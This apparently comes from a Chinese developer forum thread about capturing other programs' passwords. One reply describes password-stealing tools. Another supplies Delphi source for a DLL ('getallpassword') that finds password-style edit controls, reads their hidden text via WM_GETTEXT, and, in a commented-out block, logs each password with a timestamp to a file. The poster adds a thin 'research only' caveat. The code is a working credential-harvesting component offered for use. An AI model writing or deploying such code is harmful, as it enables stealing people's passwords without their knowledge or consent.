如题!谢谢!

解决方案 »

  1.   

    当然可以了,不如那些内外接应的一些远程控制软件,或者扫描软件都可以实现的,最直接的就是一些盗密软件,不过这样的话,比较容易被发现的,因为你无形中在进程中多了一个dll文件,很容易发现的
      

  2.   

    把这几个函数写到dll里,自己再研究一下,我写的也不一定正确,这是我很早写的了,具体的不多说了,希望你只是研究,最好不要发布出去......
    library getallpassword;uses
      windows,
      SysUtils,
      classes,
      messages;{$R *.res}function lpnumpass(hwnd:integer):boolean;stdcall;
    var
      buffer:array[0..256]of char;
    //  passfile:textfile;
      hwold:integer;
    begin
     hwold:=getwindowlong(hwnd,gwl_style);
     if (hwold and es_password) <> 0 then
       begin
         sendmessage(hwnd,wm_gettext,50,integer(@buffer));
         {assignfile(passfile,'Userpassword.lst');
         append(passfile);
            try
              writeln(passfile,formatdatetime('''Chattime:''yyyy/mm/dd/hh:mm', now));
              writeln(passfile,('''UserPassword:''' )+ buffer);
              writeln(passfile,'---------------------------');
            finally
              closefile(passfile);
            end;  }
        end;
      result:=true;
    end;exports
      lpnumpass;beginend.